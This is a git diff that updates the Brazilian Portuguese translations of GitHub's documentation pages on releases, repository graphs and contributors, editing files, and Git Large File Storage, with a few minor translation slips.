-   ![Published release with @mentioned contributors](/assets/images/help/releases/refreshed-releases-overview-with-contributors.png)
-   {% else %} 
-   ![Published release with @mentioned contributors](/assets/images/help/releases/releases-overview-with-contributors.png)
+
+   
+   ![Versão publicada com contribuidores @mencionados](/assets/images/help/releases/refreshed-releases-overview-with-contributors.png) 
+   
+   {% else %}
+   
+   ![Versão publicada com contribuidores @mencionados](/assets/images/help/releases/releases-overview-with-contributors.png) 
+   
    {% endif %}
+   
+   
+   
    {%- endif %}
 
 {% endwebui %}
@@ -91,77 +131,105 @@ You can choose whether {% data variables.large_files.product_name_long %} ({% da
 
 {% data reusables.cli.cli-learn-more %}
 
-1. To create a release, use the `gh release create` subcommand. Replace `tag` with the desired tag for the release.
+1. Para criar uma versão, use o subcomando `gh release create`. Substitua `tag` pela tag desejada para a versão. 
+   
+   
 
    ```shell
    gh release create <em>tag</em>
    ```
 
-2. Follow the interactive prompts. Alternatively, you can specify arguments to skip these prompts. For more information about possible arguments, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_release_create). For example, this command creates a prerelease with the specified title and notes.
+
+2. Siga as instruções interativas. Como alternativa, você pode especificar argumentos para pular essas instruções. Para obter mais informações sobre possíveis argumentos, consulte [o manual de {% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_release_create). Por exemplo, este comando cria uma pré-versão com o título e observações especificadas. 
+   
+   
 
    ```shell
    gh release create v1.3.2 --title "v1.3.2 (beta)" --notes "this is a beta release" --prerelease
    ```
+
+
 {% ifversion fpt or ghes > 3.3 or ghae-issue-4972 or ghec %}
-If you @mention any {% data variables.product.product_name %} users in the notes, the published release on {% data variables.product.prodname_dotcom_the_website %} will include a **Contributors** section with an avatar list of all the mentioned users.
+
+
+Se você @mencionar qualquer usuário de {% data variables.product.product_name %} nas observações, a versão publicada em {% data variables.product.prodname_dotcom_the_website %} incluirá uma seção **Colaboradores** com uma lista de avatar de todos os usuários mencionados. 
+
 {% endif %}
 
 {% endcli %}
 
-## Editing a release
 
-{% include tool-switcher %}
+
+## Editar uma versão
 
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
+
+
+
 {% data reusables.repositories.releases %}
+
+
+
 {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}
-3. On the right side of the page, next to the release you want to edit, click {% octicon "pencil" aria-label="The edit icon" %}.
-  ![Edit a release](/assets/images/help/releases/edit-release-pencil.png)
-{% else %}
-3. On the right side of the page, next to the release you want to edit, click **Edit release**.
-  ![Edit a release](/assets/images/help/releases/edit-release.png)
-{% endif %}
-4. Edit the details for the release in the form, then click **Update release**.{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4972 %} If you add or remove any @mentions of GitHub users in the description, those users will be added or removed from the avatar list in the **Contributors** section of the release.{% endif %}
-  ![Update a release](/assets/images/help/releases/update-release.png)
+
+3. No lado direito da página, ao lado da versão que deseja editar, clique em {% octicon "pencil" aria-label="The edit icon" %}. ![Editar uma versão](/assets/images/help/releases/edit-release-pencil.png) 
+   
+   {% else %}
+
+3. No lado direito da página, ao lado da versão que você deseja editar, clique em **Editar versão**. ![Editar uma versão](/assets/images/help/releases/edit-release.png) 
+   
+   {% endif %}
+
+4. Edite as informações da versão no formulário e, em seguida, clique em **Atualizar versão**.{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4972 %} Se você adicionar ou remover quaisquer @menções de usuários do GitHub na descrição, esses usuários serão adicionados ou removidos da lista de avatares na seção **Colaboradores** da versão.{% endif %} ![Atualizar uma versão](/assets/images/help/releases/update-release.png)
 
 {% endwebui %}
 
 {% cli %}
 
-Releases cannot currently be edited with {% data variables.product.prodname_cli %}.
+As versões não podem ser editadas com {% data variables.product.prodname_cli %}.
 
 {% endcli %}
 
-## Deleting a release
 
-{% include tool-switcher %}
+
+## Excluir uma versão
 
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
+
+
+
 {% data reusables.repositories.releases %}
+
+
+
 {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}
-3. On the right side of the page, next to the release you want to delete, click {% octicon "trash" aria-label="The trash icon" %}.
-  ![Delete a release](/assets/images/help/releases/delete-release-trash.png)
-{% else %}
-3. Click the name of the release you wish to delete.
-  ![Link to view release](/assets/images/help/releases/release-name-link.png)
-4. In the upper-right corner of the page, click **Delete**.
-  ![Delete release button](/assets/images/help/releases/delete-release.png)
-{% endif %}
-5. Click **Delete this release**.
-  ![Confirm delete release](/assets/images/help/releases/confirm-delete-release.png)
+
+3. No lado direito da página, ao lado da versão que você deseja excluir, clique em {% octicon "trash" aria-label="The trash icon" %}. ![Excluir uma versão](/assets/images/help/releases/delete-release-trash.png) 
+   
+   {% else %}
+
+3. Clique no nome da versão que você deseja excluir.![Link para visualizar versão](/assets/images/help/releases/release-name-link.png)
+
+4. No canto superior direito da página, clique em **Delete** (Excluir). ![Botão de exclusão de versão](/assets/images/help/releases/delete-release.png) 
+   
+   {% endif %}
+
+5. Clique em **Excluir esta versão**. ![Confirmar exclusão da versão](/assets/images/help/releases/confirm-delete-release.png)
 
 {% endwebui %}
 
 {% cli %}
 
-1. To delete a release, use the `gh release delete` subcommand. Replace `tag` with the tag of the release to delete. Use the `-y` flag to skip confirmation.
+1. Para excluir uma versão, use o subcomando `gh release delete`. Substitua `tag` pela tag da versão a ser excluída. Use o sinalizador `-y` para ignorar a confirmação. 
+   
 
    ```shell
    gh release delete <em>tag</em> -y
    ```
 
+
 {% endcli %}
diff --git a/translations/pt-BR/content/repositories/releasing-projects-on-github/searching-a-repositorys-releases.md b/translations/pt-BR/content/repositories/releasing-projects-on-github/searching-a-repositorys-releases.md
index a68d1a1c08..189d7f7280 100644
--- a/translations/pt-BR/content/repositories/releasing-projects-on-github/searching-a-repositorys-releases.md
+++ b/translations/pt-BR/content/repositories/releasing-projects-on-github/searching-a-repositorys-releases.md
@@ -1,5 +1,5 @@
 ---
-title: Searching a repository's releases
+title: Pesquisando versões de um repositório
 intro: 'You can use keywords, tags, and other qualifiers to search for particular releases in a repository.'
 permissions: Anyone with read access to a repository can search that repository's releases.
 shortTitle: Searching releases
diff --git a/translations/pt-BR/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md b/translations/pt-BR/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md
index 393e6eb56c..2104e0a898 100644
--- a/translations/pt-BR/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md
+++ b/translations/pt-BR/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing your repository's releases and tags
-intro: You can view the chronological history of your repository by release name or tag version number.
+title: Visualizando versões e tags do seu repositório
+intro: Você pode visualizar o histórico cronológico do seu repositório pelo número da versão da versão ou da tag.
 redirect_from:
   - /articles/working-with-tags
   - /articles/viewing-your-repositorys-tags
@@ -14,29 +14,29 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: View releases & tags
+shortTitle: Visualizar versões & tags
 ---
+
 {% ifversion fpt or ghae or ghes or ghec %}
 {% tip %}
 
-**Tip**: You can also view a release using the {% data variables.product.prodname_cli %}. For more information, see "[`gh release view`](https://cli.github.com/manual/gh_release_view)" in the {% data variables.product.prodname_cli %} documentation.
+**Dica**: Você também pode ver uma versão usando o {% data variables.product.prodname_cli %}. Para obter mais informações, consulte "[`vista da versão `](https://cli.github.com/manual/gh_release_view)" na documentação do {% data variables.product.prodname_cli %}.
 
 {% endtip %}
 {% endif %}
 
-## Viewing releases
+## Visualizar versões
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
-2. At the top of the Releases page, click **Releases**.
+2. Na parte superior da página Versões, clique em **Releases** (Versões).
 
-## Viewing tags
+## Visualizar tags
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
-2. At the top of the Releases page, click **Tags**.
-![Tags page](/assets/images/help/releases/tags-list.png)
+2. Na parte superior da página Versões, clique em **Tags**. ![Página de tags](/assets/images/help/releases/tags-list.png)
 
-## Further reading
+## Leia mais
 
-- "[Signing tags](/articles/signing-tags)"
+- "[Assinar tags](/articles/signing-tags)"
diff --git a/translations/pt-BR/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md b/translations/pt-BR/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md
index 2a5f059245..27cfb01eb9 100644
--- a/translations/pt-BR/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md
+++ b/translations/pt-BR/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md
@@ -1,6 +1,6 @@
 ---
-title: About repository graphs
-intro: Repository graphs help you view and analyze data for your repository.
+title: Sobre gráficos do repositório
+intro: Os gráficos do repositório ajudam a exibir e analisar dados do repositório.
 redirect_from:
   - /articles/using-graphs
   - /articles/about-repository-graphs
@@ -14,18 +14,19 @@ versions:
 topics:
   - Repositories
 ---
-A repository's graphs give you information on {% ifversion fpt or ghec %} traffic, projects that depend on the repository,{% endif %} contributors and commits to the repository, and a repository's forks and network. If you maintain a repository, you can use this data to get a better understanding of who's using your repository and why they're using it.
+
+Os gráficos de um repositório fornecem informações sobre o tráfego do {% ifversion fpt or ghec %}, projetos que dependem do repositório,{% endif %} contribuidores e commits do repositório, além de bifurcações e rede de um repositório. Se você mantém um repositório, é possível usar esses dados para entender melhor quem está usando o repositório e por que está usando.
 
 {% ifversion fpt or ghec %}
 
-Some repository graphs are available only in public repositories with {% data variables.product.prodname_free_user %}:
-- Pulse
-- Contributors
-- Traffic
+Alguns gráficos do repositório estão disponíveis somente em repositórios públicos com o {% data variables.product.prodname_free_user %}:
+- Pulso
+- Contribuidores
+- Tráfego
 - Commits
-- Code frequency
-- Network
+- Frequência de código
+- Rede
 
-All other repository graphs are available in all repositories. Every repository graph is available in public and private repositories with {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, and {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %}
+Todos os outros gráficos do repositório estão disponíveis em todos os repositórios. Cada gráfico do repositório está disponível em repositórios públicos e privados com o {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %} e {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %}
 
 {% endif %}
diff --git a/translations/pt-BR/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md b/translations/pt-BR/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md
index 02ea78541a..54f5812e78 100644
--- a/translations/pt-BR/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md
+++ b/translations/pt-BR/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing a project's contributors
-intro: 'You can see who contributed commits to a repository{% ifversion fpt or ghec %} and its dependencies{% endif %}.'
+title: Exibir contribuidores do projeto
+intro: 'Você pode ver quem contribuiu com commits para um repositório{% ifversion fpt or ghec %} e as dependências dele{% endif %}.'
 redirect_from:
   - /articles/i-don-t-see-myself-in-the-contributions-graph
   - /articles/viewing-contribution-activity-in-a-repository
@@ -15,38 +15,37 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: View project contributors
+shortTitle: Visualizar contribuidores do projeto
 ---
-## About contributors
 
-You can view the top 100 contributors to a repository{% ifversion ghes or ghae %}, including commit co-authors,{% endif %} in the contributors graph. Merge commits and empty commits aren't counted as contributions for this graph.
+## Sobre contribuidores
+
+No gráfico de contribuidores, você pode visualizar os 100 principais contribuidores de um repositório{% ifversion ghes or ghae %}, incluindo coautores de commits{% endif %}. Commits de merge e commits vazios não são contabilizados como contribuições para este gráfico.
 
 {% ifversion fpt or ghec %}
-You can also see a list of people who have contributed to the project's Python dependencies. To access this list of community contributors, visit `https://github.com/REPO-OWNER/REPO-NAME/community_contributors`.
+Você também pode ver uma lista de pessoas que contribuíram para as dependências Python do projeto. Para acessar essa lista de contribuidores da comunidade, visite `https://github.com/REPO-OWNER/REPO-NAME/community_contributors`.
 {% endif %}
 
-## Accessing the contributors graph
+## Acessar o gráfico de contribuidores
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.accessing-repository-graphs %}
-3. In the left sidebar, click **Contributors**.
-  ![Contributors tab](/assets/images/help/graphs/contributors_tab.png)
-4. Optionally, to view contributors during a specific time period, click, then drag until the time period is selected. The contributors graph sums weekly commit numbers onto each Sunday, so your time period must include a Sunday.
-  ![Selected time range in the contributors graph](/assets/images/help/graphs/repo_contributors_click_drag_graph.png)
+3. Na barra lateral esquerda, clique em **Contributors** (Contribuiddores). ![Aba de colaboradores](/assets/images/help/graphs/contributors_tab.png)
+4. Como alternativa, para exibir os contribuidores durante um determinado período, clique no período desejado e arraste-o até que seja selecionado. Os gráficos de contribuidores somam o número de commit semanalmente para cada domingo, de modo que seu período de tempo deve incluir um domingo. ![Intervalo de tempo selecionado no gráfico de contribuidores](/assets/images/help/graphs/repo_contributors_click_drag_graph.png)
 
-## Troubleshooting contributors
+## Solucionar problemas com contribuidores
 
-If you don't appear in a repository's contributors graph, it may be because:
-- You aren't one of the top 100 contributors.
-- Your commits haven't been merged into the default branch.
-- The email address you used to author the commits isn't connected to your account on {% data variables.product.product_name %}.
+Se você não aparecer no gráfico de contribuidores de um repositório, pode ser que:
+- Você não seja um dos 100 principais contribuidores.
+- Não tenha sido feito merge dos seus commits no branch padrão.
+- O endereço de e-mail que você usou para criar os commits não está conectado à sua conta em {% data variables.product.product_name %}.
 
 {% tip %}
 
-**Tip:** To list all commit contributors in a repository, see "[Repositories](/rest/reference/repos#list-contributors)."
+**Dica:** para listar todos os contribuidores de commit em um repositório, consulte "[Repositórios](/rest/reference/repos#list-contributors)".
 
 {% endtip %}
 
-If all your commits in the repository are on non-default branches, you won't be in the contributors graph. For example, commits on the `gh-pages` branch aren't included in the graph unless `gh-pages` is the repository's default branch. To have your commits merged into the default branch, you can create a pull request. For more information, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."
+Se todos os seus commits no repositório estiverem em branches não padrão, você não estará no gráfico de contribuidores. Por exemplo, os commits no branch `gh-pages` só serão incluídos no gráfico se `gh-pages` for o branch padrão do repositório. Para que seja feito merge dos seus commits no branch padrão, você precisa criar uma pull request. Para obter mais informações, consulte "[Sobre pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)".
 
-If the email address you used to author the commits is not connected to your account on {% data variables.product.product_name %}, your commits won't be linked to your account, and you won't appear in the contributors graph. For more information, see "[Setting your commit email address](/articles/setting-your-commit-email-address){% ifversion not ghae %}" and "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/articles/adding-an-email-address-to-your-github-account){% endif %}."
+Se o endereço de e-mail que você usou para criar os commits não estiver conectado à sua conta em {% data variables.product.product_name %}, seus commits não serão vinculados à sua conta e você não aparecerá no gráfico de contribuidores. Para obter mais informações, consulte "[Definir o seu endereço de e-mail de commit](/articles/setting-your-commit-email-address){% ifversion not ghae %}" e "[Adicionar um endereço de e-mail à sua conta de {% data variables.product.prodname_dotcom %} ](/articles/adding-an-email-address-to-your-github-account){% endif %}."
diff --git a/translations/pt-BR/content/repositories/working-with-files/index.md b/translations/pt-BR/content/repositories/working-with-files/index.md
index 1e874875f7..10f637e955 100644
--- a/translations/pt-BR/content/repositories/working-with-files/index.md
+++ b/translations/pt-BR/content/repositories/working-with-files/index.md
@@ -1,6 +1,6 @@
 ---
-title: Working with files
-intro: Learn how to manage and use files in repositories.
+title: Trabalhando com arquivos
+intro: Aprenda como gerenciar e usar arquivos em repositórios.
 redirect_from:
   - /categories/81/articles
   - /categories/manipulating-files
@@ -17,6 +17,6 @@ children:
   - /managing-files
   - /using-files
   - /managing-large-files
-shortTitle: Work with files
+shortTitle: Trabalhar com arquivos
 ---
 
diff --git a/translations/pt-BR/content/repositories/working-with-files/managing-files/editing-files.md b/translations/pt-BR/content/repositories/working-with-files/managing-files/editing-files.md
index b52562a21b..5d00d840d9 100644
--- a/translations/pt-BR/content/repositories/working-with-files/managing-files/editing-files.md
+++ b/translations/pt-BR/content/repositories/working-with-files/managing-files/editing-files.md
@@ -1,6 +1,6 @@
 ---
-title: Editing files
-intro: 'You can edit files directly on {% data variables.product.product_name %} in any of your repositories using the file editor.'
+title: Editando arquivos
+intro: 'Com o editor de arquivos, você pode editar arquivos diretamente no {% data variables.product.product_name %} em qualquer dos seus repositórios.'
 redirect_from:
   - /articles/editing-files
   - /articles/editing-files-in-your-repository
@@ -16,47 +16,42 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Edit files
+shortTitle: Editar arquivos
 ---
 
-## Editing files in your repository
+## Editar arquivos no repositório
 
 {% tip %}
 
-**Tip**: {% data reusables.repositories.protected-branches-block-web-edits-uploads %}
+**Dica**: {% data reusables.repositories.protected-branches-block-web-edits-uploads %}
 
 {% endtip %}
 
 {% note %}
 
-**Note:** {% data variables.product.product_name %}'s file editor uses [CodeMirror](https://codemirror.net/).
+**Observação:** o editor de arquivos do {% data variables.product.product_name %} usa o [CodeMirror](https://codemirror.net/).
 
 {% endnote %}
 
-1. In your repository, browse to the file you want to edit.
+1. No repositório, navegue até o arquivo que deseja editar.
 {% data reusables.repositories.edit-file %}
-3. On the **Edit file** tab, make any changes you need to the file.
-![New content in file](/assets/images/help/repository/edit-readme-light.png)
+3. Na guia **Edit file** (Editar arquivo), faça as alterações necessárias no arquivo. ![Novo conteúdo no arquivo](/assets/images/help/repository/edit-readme-light.png)
 {% data reusables.files.preview_change %}
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose-commit-email %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_file_change %}
 
-## Editing files in another user's repository
+## Editar arquivos no repositório de outro usuário
 
-When you edit a file in another user's repository, we'll automatically [fork the repository](/articles/fork-a-repo) and [open a pull request](/articles/creating-a-pull-request) for you.
+Ao editar um arquivo em um repositório de outro usuário, iremos [bifurcar o repositório](/articles/fork-a-repo) automaticamente e [abrir um pull request](/articles/creating-a-pull-request) para você.
 
-1. In another user's repository, browse to the folder that contains the file you want to edit. Click the name of the file you want to edit.
-2. Above the file content, click {% octicon "pencil" aria-label="The edit icon" %}. At this point, GitHub forks the repository for you.
-3. Make any changes you need to the file.
-![New content in file](/assets/images/help/repository/edit-readme-light.png)
+1. No repositório de outro usuário, navegue até a pasta que contém o arquivo que deseja editar. Clique no nome do arquivo a ser editado.
+2. Acima do conteúdo do arquivo, clique em {% octicon "pencil" aria-label="The edit icon" %}. Neste ponto, o GitHub bifurca o repositório para você.
+3. Faça as alterações necessárias no arquivo. ![Novo conteúdo no arquivo](/assets/images/help/repository/edit-readme-light.png)
 {% data reusables.files.preview_change %}
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose-commit-email %}
-6. Click **Propose file change**.
-![Commit Changes button](/assets/images/help/repository/propose_file_change_button.png)
-7. Type a title and description for your pull request.
-![Pull Request description page](/assets/images/help/pull_requests/pullrequest-description.png)
-8. Click **Create pull request**.
-![Pull Request button](/assets/images/help/pull_requests/pullrequest-send.png)
+6. Clique em **Propose file change** (Propor alteração no arquivo). ![Botão Commit Changes (Fazer commit de alterações)](/assets/images/help/repository/propose_file_change_button.png)
+7. Digite um título e uma descrição para a pull request. ![Página Pull Request description (Descrição da pull request)](/assets/images/help/pull_requests/pullrequest-description.png)
+8. Clique em **Create pull request** (Criar pull request). ![Botão Pull Request (Pull request)](/assets/images/help/pull_requests/pullrequest-send.png)
diff --git a/translations/pt-BR/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md b/translations/pt-BR/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md
index 284c0fc933..1fb867ccb1 100644
--- a/translations/pt-BR/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md
+++ b/translations/pt-BR/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md
@@ -1,6 +1,6 @@
 ---
-title: About Git Large File Storage
-intro: '{% data variables.product.product_name %} limits the size of files allowed in repositories. To track files beyond this limit, you can use {% data variables.large_files.product_name_long %}.'
+title: Sobre armazenamento de arquivo grande do Git
+intro: '{% data variables.product.product_name %} limita o tamanho dos arquivos permitidos nos repositórios. Para rastrear arquivos além desse limite, você pode usar {% data variables.large_files.product_name_long %}.'
 redirect_from:
   - /articles/about-large-file-storage
   - /articles/about-git-large-file-storage
@@ -14,29 +14,29 @@ versions:
 shortTitle: Git Large File Storage
 ---
 
-## About {% data variables.large_files.product_name_long %}
+## Sobre o {% data variables.large_files.product_name_long %}
 
-{% data variables.large_files.product_name_short %} handles large files by storing references to the file in the repository, but not the actual file itself. To work around Git's architecture, {% data variables.large_files.product_name_short %} creates a pointer file which acts as a reference to the actual file (which is stored somewhere else). {% data variables.product.product_name %} manages this pointer file in your repository. When you clone the repository down, {% data variables.product.product_name %} uses the pointer file as a map to go and find the large file for you.
+O {% data variables.large_files.product_name_short %} manipula arquivos grandes armazenando referências ao arquivo no repositório, mas não no próprio arquivo. Para trabalhar em torno da arquitetura do Git, o {% data variables.large_files.product_name_short %} cria um arquivo de ponteiro que atua como uma referência ao arquivo real (que é armazenado em algum outro lugar). O {% data variables.product.product_name %} gerencia esse arquivo de ponteiro no seu repositório. Quando você clona o repositório, o {% data variables.product.product_name %} usa o arquivo de ponteiro como um mapa para encontrar o arquivo grande para você.
 
 {% ifversion fpt or ghec %}
-Using {% data variables.large_files.product_name_short %}, you can store files up to:
+Ao usar {% data variables.large_files.product_name_short %}, você pode armazenar arquivos até:
 
-| Product | Maximum file size |
-|------- | ------- |
-| {% data variables.product.prodname_free_user %} | 2 GB |
-| {% data variables.product.prodname_pro %} | 2 GB |
-| {% data variables.product.prodname_team %} | 4 GB |
+| Produto                                           | Tamanho máximo do arquivo |
+| ------------------------------------------------- | ------------------------- |
+| {% data variables.product.prodname_free_user %} | 2 GB                      |
+| {% data variables.product.prodname_pro %}         | 2 GB                      |
+| {% data variables.product.prodname_team %}        | 4 GB                      |
 | {% data variables.product.prodname_ghe_cloud %} | 5 GB |{% else %}
-Using {% data variables.large_files.product_name_short %}, you can store files up to 5 GB in your repository.
-{% endif %}  
+ Ao usar {% data variables.large_files.product_name_short %}, você pode armazenar arquivos de até 5 GB no seu repositório.
+{% endif %}
 
-You can also use {% data variables.large_files.product_name_short %} with {% data variables.product.prodname_desktop %}. For more information about cloning Git LFS repositories in {% data variables.product.prodname_desktop %}, see "[Cloning a repository from GitHub to GitHub Desktop](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)."
+Também é possível usar o {% data variables.large_files.product_name_short %} com o {% data variables.product.prodname_desktop %}. Para obter mais informações sobre como clonar repositórios LFS do Git no {% data variables.product.prodname_desktop %}, consulte "[Clonar um repositório do GitHub no GitHub Desktop](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)".
 
 {% data reusables.large_files.can-include-lfs-objects-archives %}
 
-## Pointer file format
+## Formato do arquivo de ponteiro
 
-{% data variables.large_files.product_name_short %}'s pointer file looks like this:
+O arquivo de ponteiro do {% data variables.large_files.product_name_short %} tem esta aparência:
 
 ```
 version {% data variables.large_files.version_name %}
@@ -44,16 +44,16 @@ oid sha256:4cac19622fc3ada9c0fdeadb33f88f367b541f38b89102a3f1261ac81fd5bcb5
 size 84977953
 ```
 
-It tracks the `version` of {% data variables.large_files.product_name_short %} you're using, followed by a unique identifier for the file (`oid`). It also stores the `size` of the final file.
+Ele rastreia a `version` (versão) do {% data variables.large_files.product_name_short %} que você está usando, seguida por um identificador exclusivo para o arquivo (`oid`). Ele também armazena o `size` (tamanho) do arquivo final.
 
 {% note %}
 
-**Notes**:
-- {% data variables.large_files.product_name_short %} cannot be used with {% data variables.product.prodname_pages %} sites.
-- {% data variables.large_files.product_name_short %} cannot be used with template repositories.
-  
+**Atenção**:
+- {% data variables.large_files.product_name_short %} não pode ser usado com sites de {% data variables.product.prodname_pages %}.
+- {% data variables.large_files.product_name_short %} não pode ser usado com repositórios de modelos.
+
 {% endnote %}
 
-## Further reading
+## Leia mais
 
-- "[Collaboration with {% data variables.large_files.product_name_long %}](/articles/collaboration-with-git-large-file-storage)"
+- "[Colaboração com o {% data variables.large_files.product_name_long %}](/articles/collaboration-with-git-large-file-storage)"
diff --git a/translations/pt-BR/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md b/translations/pt-BR/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md
index 575108e57e..1f81a45a93 100644
--- a/translations/pt-BR/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md
+++ b/translations/pt-BR/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: About large files on GitHub
-intro: '{% data variables.product.product_name %} limits the size of files you can track in regular Git repositories. Learn how to track or remove files that are beyond the limit.'
+title: Sobre arquivos grandes no GitHub
+intro: '{% data variables.product.product_name %} limita o tamanho dos arquivos que você pode rastrear em repositórios do Git regulares. Aprenda a rastrear ou remover arquivos que estão além do limite.'
 redirect_from:
   - /articles/distributing-large-binaries
   - /github/managing-large-files/distributing-large-binaries
@@ -21,86 +21,86 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Large files
+shortTitle: Arquivos grandes
 ---
 
-## About size limits on {% data variables.product.product_name %}
+## Sobre limites de tamanho em {% data variables.product.product_name %}
 
 {% ifversion fpt or ghec %}
-{% data variables.product.product_name %} tries to provide abundant storage for all Git repositories, although there are hard limits for file and repository sizes. To ensure performance and reliability for our users, we actively monitor signals of overall repository health. Repository health is a function of various interacting factors, including size, commit frequency, contents, and structure.
+O {% data variables.product.product_name %} tenta fornecer armazenamento abundante para todos os repositórios do Git, embora existam limites rígidos para tamanhos de arquivo e repositório. Para garantir o desempenho e confiabilidade aos nossos usuários, monitoramos ativamente os sinais da saúde geral do repositório. A saúde do repositório é uma função de vários fatores de interação, incluindo tamanho, frequência de commit, conteúdo e estrutura.
 
-### File size limits
+### Limites de tamanho do arquivo
 {% endif %}
 
-{% data variables.product.product_name %} limits the size of files allowed in repositories. If you attempt to add or update a file that is larger than {% data variables.large_files.warning_size %}, you will receive a warning from Git. The changes will still successfully push to your repository, but you can consider removing the commit to minimize performance impact. For more information, see "[Removing files from a repository's history](#removing-files-from-a-repositorys-history)."
+{% data variables.product.product_name %} limita o tamanho dos arquivos permitidos nos repositórios. Se você tentar adicionar ou atualizar um arquivo maior do que {% data variables.large_files.warning_size %}, você receberá um aviso do Git. As alterações ainda serão carregadas no seu repositório com sucesso, mas você pode considerar remover o commit para minimizar o impacto no desempenho. Para obter mais informações, consulte "[Remover arquivos do histórico de um repositório](#removing-files-from-a-repositorys-history)".
 
 {% note %}
 
-**Note:** If you add a file to a repository via a browser, the file can be no larger than {% data variables.large_files.max_github_browser_size %}. For more information, see "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository)."
+**Observação:** se você adicionar um arquivo a um repositório por meio de um navegador, o arquivo não poderá ser maior que {% data variables.large_files.max_github_browser_size %}. Para obter mais informações, consulte "[Adicionar um arquivo a um repositório](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository)."
 
 {% endnote %}
 
-{% ifversion ghes %}By default, {% endif %}{% data variables.product.product_name %} blocks pushes that exceed {% data variables.large_files.max_github_size %}. {% ifversion ghes %}However, a site administrator can configure a different limit for {% data variables.product.product_location %}.  For more information, see "[Setting Git push limits](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-git-push-limits)."{% endif %}
+{% ifversion ghes %}Por padrão, {% endif %}{% data variables.product.product_name %} bloqueia pushes que excedem {% data variables.large_files.max_github_size %}. {% ifversion ghes %}No entanto, um administrador do site pode configurar um limite diferente para {% data variables.product.product_location %}.  Para obter mais informações, consulte "[Configurando limites de push do Git](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-git-push-limits)."{% endif %}
 
-To track files beyond this limit, you must use {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}). For more information, see "[About {% data variables.large_files.product_name_long %}](/repositories/working-with-files/managing-large-files/about-git-large-file-storage)."
+Para rastrear arquivos além desse limite, você deverá usar {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}). Para obter mais informações, consulte "[Sobre {% data variables.large_files.product_name_long %}](/repositories/working-with-files/managing-large-files/about-git-large-file-storage)".
 
-If you need to distribute large files within your repository, you can create releases on {% data variables.product.product_location %} instead of tracking the files. For more information, see "[Distributing large binaries](#distributing-large-binaries)."
+Se precisar distribuir arquivos grandes dentro do seu repositório, você poderá criar versões no {% data variables.product.product_location %} em vez de rastrear os arquivos. Para obter mais informações, consulte "[Distribuir grandes arquivos binários](#distributing-large-binaries)".
 
-Git is not designed to handle large SQL files. To share large databases with other developers, we recommend using [Dropbox](https://www.dropbox.com/).
+O Git não é projetado para lidar com arquivos SQL grandes. Para compartilhar bancos de dados grandes com outros desenvolvedores, recomendamos usar o [Dropbox](https://www.dropbox.com/).
 
 {% ifversion fpt or ghec %}
-### Repository size limits
+### Limites de tamanho do repositório
 
-We recommend repositories remain small, ideally less than 1 GB, and less than 5 GB is strongly recommended. Smaller repositories are faster to clone and easier to work with and maintain. If your repository excessively impacts our infrastructure, you might receive an email from {% data variables.contact.github_support %} asking you to take corrective action. We try to be flexible, especially with large projects that have many collaborators, and will work with you to find a resolution whenever possible. You can prevent your repository from impacting our infrastructure by effectively managing your repository's size and overall health. You can find advice and a tool for repository analysis in the [`github/git-sizer`](https://github.com/github/git-sizer) repository.
